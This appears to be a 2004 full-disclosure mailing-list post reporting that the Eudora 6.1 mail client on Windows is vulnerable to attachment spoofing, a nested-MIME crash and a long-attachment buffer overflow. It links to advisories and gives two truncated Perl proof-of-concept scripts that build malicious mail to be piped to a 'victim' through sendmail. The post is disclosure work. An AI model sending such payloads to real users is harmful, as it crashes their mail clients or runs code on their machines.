Eudora 6.1 is evil



Eudora 6.1 is evil

Eudora 6.1 on Windows is evil - have tested "Light Mode" (free) only so
far, do not know if "Sponsored Mode" or "Paid Mode" would be any different.
(Do not use: stay away from Eudora, or maybe use version 6.0.3.)

Attachment spoof, LaunchProtect:

  http://lists.netsys.com/pipermail/full-disclosure/2004-March/018897.htm l

Works (i.e. broken) same as the 6.0.3 version.

Nested MIME DoS:

  http://lists.netsys.com/pipermail/full-disclosure/2004-April/020075.html 

Works "better" than the 6.0.3 version, crashes at 580 levels:

#!/usr/bin/perl --
print "From: me\n";
print "To: you\n";
print "Subject: nested multipart test\n";
print "Mime-Version: 1.0\n";
print "X-Use: Pipe the output of this script into:  sendmail -i victim\n";
&nest(0);
print "\n";
#
sub nest {
  my ($x) = @_;
  my $b = sprintf("bndry%04d",$x);
  print "Content-Type: multipart/mixed; boundary=\"$b\"\n\n";
  print "--$b\n";
  print "Content-Type: text/plain\n\n";
  print "Level $x\n\n";
# No problem for 570, but crash for 580 deep nesting:

"Long attachment spoof" execute-any-code bug:

  http://lists.netsys.com/pipermail/full-disclosure/2003-September/01002 9.html

from version 6.0 and previous (but apparently fixed in 6.0.1 and 6.0.3) is
back:

#!/usr/bin/perl --
print "From: me\n";
print "To: you\n";
print "Subject: Eudora 6.1 buffer overflow demo\n";
print "X-Use: Pipe the output of this script into:  sendmail -i victim\n\n";
print "Long spoofed attachments cause an exploitable buffer overflow:\n";
# (298.40c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
